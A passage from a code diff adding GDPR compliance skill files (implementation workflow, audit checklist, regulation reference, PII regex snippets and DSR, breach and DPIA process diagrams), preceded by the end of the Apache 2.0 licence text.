8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,194 @@
|
||||
---
|
||||
name: implementing-gdpr-data-protection-controls
|
||||
description: Implements GDPR (EU 2016/679) technical and organizational measures — privacy by design/default, DPIAs, data subject rights management, 72-hour breach notification, and cross-border transfer mechanisms (SCCs, BCRs, adequacy). Use when designing or auditing GDPR controls, building a DPIA, handling data subject access/erasure requests, or assessing cross-border data transfers.
|
||||
domain: cybersecurity
|
||||
subdomain: compliance-governance
|
||||
tags:
|
||||
- compliance
|
||||
- governance
|
||||
- gdpr
|
||||
- privacy
|
||||
- data-protection
|
||||
- eu-regulation
|
||||
nist_csf:
|
||||
- GV.OC-02
|
||||
- GV.PO-01
|
||||
- PR.DS-01
|
||||
- PR.AA-01
|
||||
- ID.AM-02
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_ai_rmf:
|
||||
- MEASURE-2.7
|
||||
- MAP-5.1
|
||||
- MANAGE-2.4
|
||||
- MEASURE-2.8
|
||||
- MEASURE-2.9
|
||||
atlas_techniques:
|
||||
- AML.T0070
|
||||
- AML.T0066
|
||||
- AML.T0082
|
||||
mitre_attack:
|
||||
- T1078
|
||||
- T1530
|
||||
- T1685.002
|
||||
---
|
||||
# Implementing GDPR Data Protection Controls
|
||||
|
||||
## Overview
|
||||
The General Data Protection Regulation (EU) 2016/679 (GDPR) is the EU's comprehensive data protection law governing the collection, processing, storage, and transfer of personal data. This skill covers implementing the technical and organizational measures required by GDPR, including data protection by design and by default, Data Protection Impact Assessments (DPIAs), data subject rights management, breach notification procedures, and cross-border data transfer mechanisms.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying or configuring implementing gdpr data protection controls capabilities in your environment
|
||||
- When establishing security controls aligned to compliance requirements
|
||||
- When building or improving security architecture for this domain
|
||||
- When conducting security assessments that require this implementation
|
||||
|
||||
## Prerequisites
|
||||
- Understanding of EU data protection law and its territorial scope
|
||||
- Knowledge of personal data processing activities within the organization
|
||||
- Familiarity with data architecture, databases, and application systems
|
||||
- Understanding of data flows including cross-border transfers
|
||||
|
||||
## Core Concepts
|
||||
|
||||
### Key GDPR Articles for Technical Controls
|
||||
|
||||
| Article | Requirement |
|
||||
|---------|-------------|
|
||||
| Art. 5 | Principles: lawfulness, purpose limitation, data minimization, accuracy, storage limitation, integrity and confidentiality, accountability |
|
||||
| Art. 6 | Lawful basis for processing (consent, contract, legal obligation, vital interests, public task, legitimate interest) |
|
||||
| Art. 25 | Data protection by design and by default |
|
||||
| Art. 28 | Processor obligations and contractual requirements |
|
||||
| Art. 30 | Records of processing activities (ROPA) |
|
||||
| Art. 32 | Security of processing (technical and organizational measures) |
|
||||
| Art. 33 | Breach notification to supervisory authority (72 hours) |
|
||||
| Art. 34 | Communication of breach to data subjects |
|
||||
| Art. 35 | Data Protection Impact Assessment (DPIA) |
|
||||
| Art. 37-39 | Data Protection Officer (DPO) appointment and role |
|
||||
| Art. 44-49 | Cross-border data transfers (adequacy, SCCs, BCRs) |
|
||||
|
||||
### Article 32 Security Measures
|
||||
The regulation requires organizations to implement measures appropriate to the risk:
|
||||
- **Pseudonymization** and encryption of personal data
|
||||
- **Confidentiality, integrity, availability, and resilience** of processing systems
|
||||
- **Ability to restore** availability and access to personal data in a timely manner
|
||||
- **Regular testing** and evaluation of technical and organizational measures
|
||||
|
||||
### Data Subject Rights (Articles 12-22)
|
||||
| Right | Article | Description |
|
||||
|-------|---------|-------------|
|
||||
| Right to be informed | 13-14 | Transparent information about processing |
|
||||
| Right of access | 15 | Obtain copy of personal data |
|
||||
| Right to rectification | 16 | Correct inaccurate data |
|
||||
| Right to erasure | 17 | "Right to be forgotten" |
|
||||
| Right to restrict processing | 18 | Limit processing of data |
|
||||
| Right to data portability | 20 | Receive data in machine-readable format |
|
||||
| Right to object | 21 | Object to processing (especially direct marketing) |
|
||||
| Automated decision-making | 22 | Not be subject to solely automated decisions |
|
||||
|
||||
## Workflow
|
||||
|
||||
### Phase 1: Data Mapping and Assessment (Weeks 1-6)
|
||||
1. Create comprehensive data inventory:
|
||||
- What personal data is collected
|
||||
- From whom (data subjects)
|
||||
- Why (purposes and lawful bases)
|
||||
- Where it's stored (systems, locations, countries)
|
||||
- Who has access (internal and external)
|
||||
- How long it's retained
|
||||
- What security measures protect it
|
||||
2. Document Records of Processing Activities (ROPA) per Article 30
|
||||
3. Identify lawful basis for each processing activity
|
||||
4. Map cross-border data transfers and transfer mechanisms
|
||||
5. Identify processing activities requiring DPIA
|
||||
|
||||
### Phase 2: Gap Analysis and Risk Assessment (Weeks 7-10)
|
||||
1. Assess current state against GDPR requirements
|
||||
2. Perform DPIAs for high-risk processing activities
|
||||
3. Identify security gaps in Article 32 compliance
|
||||
4. Evaluate data retention compliance
|
||||
5. Assess data subject rights request handling capabilities
|
||||
|
||||
### Phase 3: Technical Controls Implementation (Weeks 11-24)
|
||||
1. **Encryption**:
|
||||
- Data at rest: AES-256 for databases, file systems, backups
|
||||
- Data in transit: TLS 1.2+ for all personal data transfers
|
||||
- Key management: secure key storage and rotation procedures
|
||||
2. **Pseudonymization**:
|
||||
- Implement tokenization for sensitive identifiers
|
||||
- Separate pseudonymization keys from data stores
|
||||
3. **Access Controls**:
|
||||
- Role-based access control (RBAC) for personal data
|
||||
- Principle of least privilege
|
||||
- MFA for systems processing personal data
|
||||
- Regular access reviews
|
||||
4. **Data Minimization**:
|
||||
- Implement data collection limits at application layer
|
||||
- Default privacy settings (data protection by default)
|
||||
- Automated data retention enforcement
|
||||
5. **Erasure and Portability**:
|
||||
- Build data deletion workflows across all systems
|
||||
- Implement data export in machine-readable formats (JSON, CSV)
|
||||
- Cascade deletion to backups and archives
|
||||
6. **Consent Management**:
|
||||
- Implement granular consent collection mechanisms
|
||||
- Consent withdrawal functionality
|
||||
- Consent audit trail and versioning
|
||||
7. **Breach Detection**:
|
||||
- SIEM for personal data access monitoring
|
||||
- Data loss prevention (DLP) controls
|
||||
- Anomalous access detection
|
||||
|
||||
### Phase 4: Organizational Controls (Weeks 11-24)
|
||||
1. Appoint Data Protection Officer (DPO) if required
|
||||
2. Develop data protection policies and procedures
|
||||
3. Create breach notification procedures (72-hour timeline)
|
||||
4. Establish data subject request (DSR) handling procedures
|
||||
5. Implement vendor management with Data Processing Agreements (DPAs)
|
||||
6. Deploy privacy awareness training for all staff
|
||||
7. Create data protection by design guidance for development teams
|
||||
|
||||
### Phase 5: Documentation and Compliance Evidence (Weeks 25-30)
|
||||
1. Finalize ROPA documentation
|
||||
2. Document all DPIAs and outcomes
|
||||
3. Create data protection policies
|
||||
4. Document technical and organizational measures
|
||||
5. Establish privacy notice and consent records
|
||||
6. Create international transfer documentation (SCCs, TIAs)
|
||||
|
||||
### Phase 6: Ongoing Compliance (Continuous)
|
||||
1. Regular DPIA reviews for new processing activities
|
||||
2. Annual data mapping refresh
|
||||
3. Periodic security measure testing (Art. 32 requirement)
|
||||
4. Data subject request tracking and SLA monitoring
|
||||
5. Breach response readiness testing
|
||||
6. Training refresh and awareness campaigns
|
||||
|
||||
## Key Artifacts
|
||||
- Records of Processing Activities (ROPA)
|
||||
- Data Protection Impact Assessments (DPIAs)
|
||||
- Data Processing Agreements (DPAs)
|
||||
- Privacy Notices and Consent Records
|
||||
- Breach Response Procedures and Register
|
||||
- Data Subject Request Handling Procedures
|
||||
- International Data Transfer Mechanisms (SCCs, BCRs)
|
||||
- Technical and Organizational Measures Documentation
|
||||
|
||||
## Common Pitfalls
|
||||
- Treating GDPR as only a legal/compliance exercise without technical implementation
|
||||
- Incomplete data mapping missing shadow IT or legacy systems
|
||||
- Failing to maintain consent audit trails
|
||||
- Not testing 72-hour breach notification capability
|
||||
- Ignoring cross-border transfer requirements for cloud services
|
||||
- Over-reliance on consent as lawful basis when legitimate interest applies
|
||||
|
||||
## References
|
||||
- GDPR Official Text: https://gdpr-info.eu/
|
||||
- European Data Protection Board (EDPB) Guidelines
|
||||
- ICO (UK) GDPR Guidance: https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/
|
||||
- CNIL (France) GDPR Compliance Toolkit
|
||||
- Article 29 Working Party Guidelines on DPIAs
|
||||
@@ -0,0 +1,140 @@
|
||||
# GDPR Compliance Audit Checklist
|
||||
|
||||
## Organization Information
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Organization Name | |
|
||||
| Role | Controller / Processor / Joint Controller |
|
||||
| DPO Name and Contact | |
|
||||
| Lead Supervisory Authority | |
|
||||
| Assessment Date | |
|
||||
| Assessor | |
|
||||
|
||||
---
|
||||
|
||||
## Article 5: Data Processing Principles
|
||||
- [ ] Lawfulness: All processing has documented lawful basis (Art. 6)
|
||||
- [ ] Fairness: Processing is fair and does not cause unjustified adverse effects
|
||||
- [ ] Transparency: Privacy notices provided at point of collection (Art. 13/14)
|
||||
- [ ] Purpose Limitation: Data collected for specified, explicit, and legitimate purposes
|
||||
- [ ] Data Minimization: Only data necessary for the purpose is collected
|
||||
- [ ] Accuracy: Processes exist to keep personal data accurate and up to date
|
||||
- [ ] Storage Limitation: Retention periods defined and enforced for all data categories
|
||||
- [ ] Integrity and Confidentiality: Technical and organizational security measures in place
|
||||
- [ ] Accountability: Ability to demonstrate compliance with all principles
|
||||
|
||||
## Article 6: Lawful Basis
|
||||
- [ ] Lawful basis identified for each processing activity
|
||||
- [ ] Consent is freely given, specific, informed, and unambiguous where used
|
||||
- [ ] Consent withdrawal mechanism available and easy to use
|
||||
- [ ] Legitimate interest assessments documented where Art. 6(1)(f) relied upon
|
||||
- [ ] Legal bases recorded in ROPA
|
||||
|
||||
## Articles 13-14: Transparency
|
||||
- [ ] Privacy notice provided at time of data collection (Art. 13)
|
||||
- [ ] Privacy notice provided when data obtained indirectly (Art. 14)
|
||||
- [ ] Notices include: controller identity, purposes, lawful basis, recipients, retention, rights, DPO contact
|
||||
- [ ] Notices are concise, transparent, intelligible, and in plain language
|
||||
- [ ] Notices available in appropriate languages
|
||||
|
||||
## Articles 15-22: Data Subject Rights
|
||||
- [ ] Process for receiving and handling DSRs documented
|
||||
- [ ] Identity verification procedure before fulfilling requests
|
||||
- [ ] Response within one month (extendable by two months for complex requests)
|
||||
- [ ] Right of access (Art. 15): can provide copy of personal data
|
||||
- [ ] Right to rectification (Art. 16): can correct inaccurate data
|
||||
- [ ] Right to erasure (Art. 17): can delete data across all systems including backups
|
||||
- [ ] Right to restriction (Art. 18): can restrict processing when contested
|
||||
- [ ] Right to portability (Art. 20): can export data in machine-readable format
|
||||
- [ ] Right to object (Art. 21): can cease processing when objected to
|
||||
- [ ] Automated decision-making (Art. 22): safeguards for solely automated decisions
|
||||
|
||||
## Article 25: Data Protection by Design and Default
|
||||
- [ ] Privacy considerations integrated into system design processes
|
||||
- [ ] Default settings are most privacy-protective
|
||||
- [ ] Only personal data necessary for each purpose is processed by default
|
||||
- [ ] Data protection integrated into development lifecycle
|
||||
|
||||
## Article 28: Processors
|
||||
- [ ] All processors identified and documented
|
||||
- [ ] Data Processing Agreements (DPAs) in place with all processors
|
||||
- [ ] DPAs include required Art. 28 provisions
|
||||
- [ ] Processor security measures verified
|
||||
- [ ] Sub-processor notification process in place
|
||||
|
||||
## Article 30: Records of Processing Activities (ROPA)
|
||||
- [ ] ROPA maintained and up to date
|
||||
- [ ] All processing activities documented
|
||||
- [ ] Controller details, purposes, data categories, recipients, transfers, retention, security measures recorded
|
||||
- [ ] Available for supervisory authority on request
|
||||
|
||||
## Article 32: Security of Processing
|
||||
- [ ] Risk-appropriate technical measures:
|
||||
- [ ] Encryption of personal data (at rest and in transit)
|
||||
- [ ] Pseudonymization implemented where appropriate
|
||||
- [ ] Access controls and authentication
|
||||
- [ ] Logging and monitoring of access to personal data
|
||||
- [ ] Data loss prevention controls
|
||||
- [ ] Risk-appropriate organizational measures:
|
||||
- [ ] Information security policies
|
||||
- [ ] Staff training on data protection
|
||||
- [ ] Confidentiality agreements
|
||||
- [ ] Access review processes
|
||||
- [ ] Ability to restore availability and access after incident
|
||||
- [ ] Regular testing and evaluation of security measures
|
||||
|
||||
## Articles 33-34: Breach Notification
|
||||
- [ ] Breach detection and assessment procedures documented
|
||||
- [ ] 72-hour notification to supervisory authority process in place
|
||||
- [ ] Data subject notification process for high-risk breaches
|
||||
- [ ] Breach register maintained
|
||||
- [ ] Breach response plan tested within last 12 months
|
||||
|
||||
## Article 35: Data Protection Impact Assessment
|
||||
- [ ] DPIA criteria documented (when DPIA is required)
|
||||
- [ ] DPIA process documented
|
||||
- [ ] DPIAs conducted for all high-risk processing
|
||||
- [ ] DPO consulted on DPIAs
|
||||
- [ ] DPIAs reviewed when processing changes
|
||||
|
||||
## Articles 44-49: International Transfers
|
||||
- [ ] All international transfers identified and documented
|
||||
- [ ] Transfer mechanisms in place (adequacy, SCCs, BCRs)
|
||||
- [ ] Transfer Impact Assessments conducted for non-adequate countries
|
||||
- [ ] Supplementary measures implemented where required
|
||||
- [ ] Standard Contractual Clauses (new 2021 modular version) executed
|
||||
|
||||
## Articles 37-39: Data Protection Officer
|
||||
- [ ] DPO appointed (if required: public authority, core activity large-scale monitoring, core activity special categories)
|
||||
- [ ] DPO has expert knowledge of data protection law
|
||||
- [ ] DPO involved in all data protection matters
|
||||
- [ ] DPO reports to highest management level
|
||||
- [ ] DPO contact details published and communicated to supervisory authority
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
| GDPR Area | Items | Compliant | Non-Compliant | N/A |
|
||||
|-----------|-------|-----------|---------------|-----|
|
||||
| Principles (Art. 5) | | | | |
|
||||
| Lawful Basis (Art. 6) | | | | |
|
||||
| Transparency (Art. 13-14) | | | | |
|
||||
| Data Subject Rights (Art. 15-22) | | | | |
|
||||
| Privacy by Design (Art. 25) | | | | |
|
||||
| Processors (Art. 28) | | | | |
|
||||
| ROPA (Art. 30) | | | | |
|
||||
| Security (Art. 32) | | | | |
|
||||
| Breach Notification (Art. 33-34) | | | | |
|
||||
| DPIA (Art. 35) | | | | |
|
||||
| International Transfers (Art. 44-49) | | | | |
|
||||
| DPO (Art. 37-39) | | | | |
|
||||
| **Total** | | | | |
|
||||
|
||||
## Sign-off
|
||||
| Role | Name | Signature | Date |
|
||||
|------|------|-----------|------|
|
||||
| DPO | | | |
|
||||
| CISO | | | |
|
||||
| Legal Counsel | | | |
|
||||
| Senior Management | | | |
|
||||
@@ -0,0 +1,61 @@
|
||||
# API Reference: Implementing GDPR Data Protection Controls
|
||||
|
||||
## Key GDPR Articles
|
||||
|
||||
| Article | Requirement | Technical Control |
|
||||
|---------|-------------|-------------------|
|
||||
| Art 5 | Processing principles | Data minimization, retention policies |
|
||||
| Art 25 | Privacy by design | Default privacy settings |
|
||||
| Art 30 | Records of processing | ROPA documentation system |
|
||||
| Art 32 | Security of processing | Encryption, access controls, testing |
|
||||
| Art 33 | Breach notification | 72-hour DPA notification |
|
||||
| Art 35 | DPIA | Impact assessment for high-risk processing |
|
||||
|
||||
## Data Subject Rights (Art 12-22)
|
||||
|
||||
| Right | Article | SLA |
|
||||
|-------|---------|-----|
|
||||
| Access | Art 15 | 1 month |
|
||||
| Rectification | Art 16 | 1 month |
|
||||
| Erasure | Art 17 | 1 month |
|
||||
| Portability | Art 20 | 1 month |
|
||||
| Object | Art 21 | Without undue delay |
|
||||
|
||||
## PII Detection Patterns
|
||||
|
||||
```python
|
||||
import re
|
||||
patterns = {
|
||||
"email": r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b",
|
||||
"iban": r"\b[A-Z]{2}\d{2}[A-Z0-9]{11,30}\b",
|
||||
"ip_address": r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b",
|
||||
}
|
||||
```
|
||||
|
||||
## ROPA Required Fields (Art 30)
|
||||
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| controller_name | Data controller identity |
|
||||
| purposes | Processing purposes |
|
||||
| data_categories | Types of personal data |
|
||||
| data_subjects | Categories of data subjects |
|
||||
| recipients | Data recipients |
|
||||
| transfers | Cross-border transfers |
|
||||
| retention_periods | Data retention schedules |
|
||||
| security_measures | Art 32 controls |
|
||||
|
||||
## Cross-Border Transfer Mechanisms (Art 44-49)
|
||||
|
||||
| Mechanism | Use Case |
|
||||
|-----------|----------|
|
||||
| Adequacy Decision | Transfer to adequate countries (Art 45) |
|
||||
| Standard Contractual Clauses (SCCs) | Most common mechanism (Art 46) |
|
||||
| Binding Corporate Rules (BCRs) | Intra-group transfers (Art 47) |
|
||||
| Derogations | Consent, contract necessity (Art 49) |
|
||||
|
||||
### References
|
||||
|
||||
- GDPR Official Text: https://gdpr-info.eu/
|
||||
- EDPB Guidelines: https://edpb.europa.eu/our-work-tools/general-guidance/guidelines-recommendations-best-practices_en
|
||||
- ICO GDPR Guide: https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/
|
||||
@@ -0,0 +1,108 @@
|
||||
# GDPR Standards Reference
|
||||
|
||||
## Primary Legislation
|
||||
|
||||
### Regulation (EU) 2016/679 - General Data Protection Regulation
|
||||
- **Adopted**: April 14, 2016
|
||||
- **Effective**: May 25, 2018
|
||||
- **Scope**: Applies to any organization processing personal data of EU/EEA residents
|
||||
- **Chapters**: 11 chapters, 99 articles, 173 recitals
|
||||
- **Enforcement**: Supervisory authorities in each EU member state
|
||||
- **Penalties**: Up to EUR 20 million or 4% of annual global turnover (whichever is greater)
|
||||
|
||||
## Key Articles Reference
|
||||
|
||||
### Chapter II - Principles (Articles 5-11)
|
||||
- **Art. 5**: Core processing principles (lawfulness, fairness, transparency, purpose limitation, data minimization, accuracy, storage limitation, integrity and confidentiality, accountability)
|
||||
- **Art. 6**: Six lawful bases for processing
|
||||
- **Art. 7**: Conditions for consent
|
||||
- **Art. 8**: Child's consent (minimum age varies by member state, 13-16)
|
||||
- **Art. 9**: Special categories of data (health, biometric, genetic, racial/ethnic, political, religious, trade union, sexual orientation)
|
||||
- **Art. 10**: Criminal conviction data
|
||||
|
||||
### Chapter III - Rights of the Data Subject (Articles 12-23)
|
||||
- **Art. 12**: Transparent communication (one month response deadline)
|
||||
- **Art. 13**: Information for direct collection
|
||||
- **Art. 14**: Information for indirect collection
|
||||
- **Art. 15**: Right of access (copy of data, processing purposes, recipients, retention periods, safeguards for transfers)
|
||||
- **Art. 16**: Right to rectification
|
||||
- **Art. 17**: Right to erasure (applies when: consent withdrawn, purpose fulfilled, unlawful processing, legal obligation)
|
||||
- **Art. 18**: Right to restriction of processing
|
||||
- **Art. 20**: Right to data portability (structured, commonly used, machine-readable format)
|
||||
- **Art. 21**: Right to object (especially direct marketing - absolute right)
|
||||
- **Art. 22**: Automated individual decision-making including profiling
|
||||
|
||||
### Chapter IV - Controller and Processor (Articles 24-43)
|
||||
- **Art. 24**: Responsibility of the controller
|
||||
- **Art. 25**: Data protection by design and by default
|
||||
- **Art. 26**: Joint controllers
|
||||
- **Art. 28**: Processor (DPA requirements: subject-matter, duration, nature/purpose, personal data types, data subject categories, controller obligations/rights)
|
||||
- **Art. 30**: Records of processing activities
|
||||
- **Art. 32**: Security of processing
|
||||
- **Art. 33**: Notification to supervisory authority (72 hours)
|
||||
- **Art. 34**: Communication to data subject (when high risk to rights and freedoms)
|
||||
- **Art. 35**: Data Protection Impact Assessment (DPIA)
|
||||
- **Art. 36**: Prior consultation with supervisory authority
|
||||
- **Art. 37-39**: Data Protection Officer
|
||||
|
||||
### Chapter V - International Transfers (Articles 44-49)
|
||||
- **Art. 45**: Adequacy decision (EU Commission determines adequate countries)
|
||||
- **Art. 46**: Appropriate safeguards (SCCs, BCRs, codes of conduct, certification)
|
||||
- **Art. 47**: Binding Corporate Rules
|
||||
- **Art. 49**: Derogations (explicit consent, contract, public interest)
|
||||
|
||||
## Supporting Standards and Guidance
|
||||
|
||||
### ISO/IEC 27701:2019
|
||||
- Privacy Information Management System (PIMS) extension to ISO 27001
|
||||
- Maps GDPR requirements to ISO management system controls
|
||||
- Provides controller and processor-specific guidance
|
||||
|
||||
### EDPB Guidelines
|
||||
- Guidelines on Data Protection Impact Assessment (WP 248)
|
||||
- Guidelines on Data Breach Notification (WP 250)
|
||||
- Guidelines on Consent (updated 2020)
|
||||
- Guidelines on International Data Transfers (post-Schrems II)
|
||||
- Guidelines on Data Protection by Design and Default (04/2019)
|
||||
|
||||
### Transfer Mechanisms Post-Schrems II
|
||||
- **Standard Contractual Clauses (SCCs)**: New modular SCCs adopted June 2021
|
||||
- Module 1: Controller to Controller
|
||||
- Module 2: Controller to Processor
|
||||
- Module 3: Processor to Processor
|
||||
- Module 4: Processor to Controller
|
||||
- **Transfer Impact Assessment (TIA)**: Required to supplement SCCs
|
||||
- **Supplementary Measures**: Technical (encryption, pseudonymization), contractual, organizational
|
||||
- **EU-US Data Privacy Framework**: Adequacy decision adopted July 2023
|
||||
|
||||
### DPIA Criteria (Article 35(3) and EDPB)
|
||||
DPIA required when processing involves:
|
||||
1. Systematic and extensive evaluation of personal aspects (profiling)
|
||||
2. Large-scale processing of special categories or criminal data
|
||||
3. Systematic monitoring of publicly accessible areas
|
||||
4. New technologies with potential high risk
|
||||
5. Large-scale data processing
|
||||
6. Matching or combining datasets
|
||||
7. Data concerning vulnerable subjects
|
||||
8. Innovative use of biometric data
|
||||
9. Data transfers outside EU without adequacy
|
||||
10. Processing that prevents data subjects from exercising rights
|
||||
|
||||
## Supervisory Authorities
|
||||
| Country | Authority | Website |
|
||||
|---------|-----------|---------|
|
||||
| EU-wide | European Data Protection Board (EDPB) | edpb.europa.eu |
|
||||
| France | CNIL | cnil.fr |
|
||||
| Germany | BfDI (Federal), State DPAs | bfdi.bund.de |
|
||||
| Ireland | DPC | dataprotection.ie |
|
||||
| Netherlands | Autoriteit Persoonsgegevens | autoriteitpersoonsgegevens.nl |
|
||||
| Spain | AEPD | aepd.es |
|
||||
| Italy | Garante | garanteprivacy.it |
|
||||
| UK | ICO (UK GDPR post-Brexit) | ico.org.uk |
|
||||
|
||||
## Key Enforcement Decisions (Benchmark)
|
||||
- Meta (Ireland DPC, 2023): EUR 1.2 billion - Transfers to US without adequate safeguards
|
||||
- Amazon (Luxembourg CNPD, 2021): EUR 746 million - Advertising targeting
|
||||
- WhatsApp (Ireland DPC, 2021): EUR 225 million - Transparency failures
|
||||
- Google (CNIL, 2022): EUR 150 million - Cookie consent
|
||||
- H&M (Hamburg DPA, 2020): EUR 35.3 million - Employee surveillance
|
||||
@@ -0,0 +1,288 @@
|
||||
# GDPR Data Protection Control Workflows
|
||||
|
||||
## Workflow 1: Data Subject Request (DSR) Handling
|
||||
|
||||
```
|
||||
Start
|
||||
|
|
||||
v
|
||||
[Receive DSR from Data Subject]
|
||||
- Via email, web form, phone, in-person
|
||||
- Record receipt timestamp (30-day clock starts)
|
||||
|
|
||||
v
|
||||
[Verify Identity of Requestor]
|
||||
- Request additional identification if needed
|
||||
- Clock pauses until identity verified
|
||||
|
|
||||
v
|
||||
[Classify Request Type]
|
||||
|
|
||||
+--> Access Request (Art. 15) --> Locate all personal data
|
||||
+--> Rectification (Art. 16) --> Identify incorrect data
|
||||
+--> Erasure (Art. 17) --> Verify grounds for erasure
|
||||
+--> Restriction (Art. 18) --> Flag data for restriction
|
||||
+--> Portability (Art. 20) --> Export in machine-readable format
|
||||
+--> Objection (Art. 21) --> Assess processing basis
|
||||
|
|
||||
v
|
||||
[Check for Exemptions]
|
||||
- Legal obligation to retain
|
||||
- Freedom of expression
|
||||
- Public health
|
||||
- Archiving in public interest
|
||||
- Legal claims
|
||||
|
|
||||
v
|
||||
[Execute Request Across All Systems]
|
||||
- Production databases
|
||||
- Backups and archives
|
||||
- Third-party processors
|
||||
- Cloud services
|
||||
- Analytics platforms
|
||||
|
|
||||
v
|
||||
[Document Action Taken]
|
||||
|
|
||||
v
|
||||
[Respond to Data Subject within 30 days]
|
||||
- Extension to 60 additional days if complex (notify subject)
|
||||
|
|
||||
v
|
||||
End
|
||||
```
|
||||
|
||||
## Workflow 2: Data Breach Notification (Art. 33-34)
|
||||
|
||||
```
|
||||
Start
|
||||
|
|
||||
v
|
||||
[Breach Detected or Reported]
|
||||
- Technical detection (SIEM, DLP, IDS)
|
||||
- Employee report
|
||||
- External notification
|
||||
- Third-party processor notification
|
||||
|
|
||||
v
|
||||
[72-hour Clock Starts]
|
||||
|
|
||||
v
|
||||
[Assess Breach Severity]
|
||||
- Number of data subjects affected
|
||||
- Types of personal data compromised
|
||||
- Special categories involved?
|
||||
- Risk to rights and freedoms
|
||||
|
|
||||
v
|
||||
[Determine Notification Requirements]
|
||||
|
|
||||
+--> [Risk to Rights and Freedoms?]
|
||||
|
|
||||
+--> No Risk --> Document in breach register only
|
||||
|
|
||||
+--> Risk exists --> Notify Supervisory Authority (72 hours)
|
||||
| |
|
||||
| v
|
||||
+--> High Risk --> Notify Supervisory Authority (72 hours)
|
||||
AND notify affected data subjects
|
||||
|
|
||||
v
|
||||
[Prepare Supervisory Authority Notification]
|
||||
- Nature of the breach
|
||||
- Categories and approximate number of data subjects
|
||||
- Categories and approximate number of records
|
||||
- Name and contact details of DPO
|
||||
- Likely consequences of the breach
|
||||
- Measures taken or proposed to address the breach
|
||||
|
|
||||
v
|
||||
[Submit Notification to Lead Supervisory Authority]
|
||||
|
|
||||
v
|
||||
[If High Risk: Notify Data Subjects]
|
||||
- Clear and plain language
|
||||
- Description of breach
|
||||
- DPO contact information
|
||||
- Likely consequences
|
||||
- Measures taken to mitigate
|
||||
|
|
||||
v
|
||||
[Conduct Post-Breach Review]
|
||||
- Root cause analysis
|
||||
- Control improvements
|
||||
- Update breach register
|
||||
|
|
||||
v
|
||||
End
|
||||
```
|
||||
|
||||
## Workflow 3: Data Protection Impact Assessment (DPIA)
|
||||
|
||||
```
|
||||
Start
|
||||
|
|
||||
v
|
||||
[Identify Processing Activity]
|
||||
|
|
||||
v
|
||||
[Screen Against DPIA Criteria]
|
||||
- Profiling or automated decision-making?
|
||||
- Large-scale special category data?
|
||||
- Systematic monitoring of public areas?
|
||||
- New technology application?
|
||||
- Cross-border data transfer?
|
||||
- Vulnerable data subjects?
|
||||
|
|
||||
+--> [No DPIA triggers] --> Document screening decision --> End
|
||||
|
|
||||
+--> [DPIA required]
|
||||
|
|
||||
v
|
||||
[Describe Processing Operation]
|
||||
- Purpose and scope
|
||||
- Data elements collected
|
||||
- Data subjects categories
|
||||
- Recipients and transfers
|
||||
- Retention period
|
||||
- Technology used
|
||||
|
|
||||
v
|
||||
[Assess Necessity and Proportionality]
|
||||
- Is processing necessary for the purpose?
|
||||
- Could purpose be achieved with less data?
|
||||
- Is lawful basis appropriate?
|
||||
- Are data subject rights supported?
|
||||
|
|
||||
v
|
||||
[Identify and Assess Risks]
|
||||
- Risks to confidentiality
|
||||
- Risks to integrity
|
||||
- Risks to availability
|
||||
- Risks to rights and freedoms
|
||||
- Likelihood and severity of each risk
|
||||
|
|
||||
v
|
||||
[Identify Mitigation Measures]
|
||||
- Technical measures (encryption, pseudonymization, access controls)
|
||||
- Organizational measures (policies, training, DPO oversight)
|
||||
- Contractual measures (DPAs, SCCs)
|
||||
|
|
||||
v
|
||||
[Determine Residual Risk]
|
||||
|
|
||||
+--> [Residual Risk Acceptable] --> Approve and proceed
|
||||
|
|
||||
+--> [Residual Risk High] --> Consult DPO
|
||||
| |
|
||||
| +--> [Can mitigate further] --> Add measures
|
||||
| |
|
||||
| +--> [Cannot mitigate] --> Prior consultation
|
||||
| with Supervisory Authority (Art. 36)
|
||||
|
|
||||
v
|
||||
[Document DPIA]
|
||||
- Keep under review
|
||||
- Reassess when processing changes
|
||||
|
|
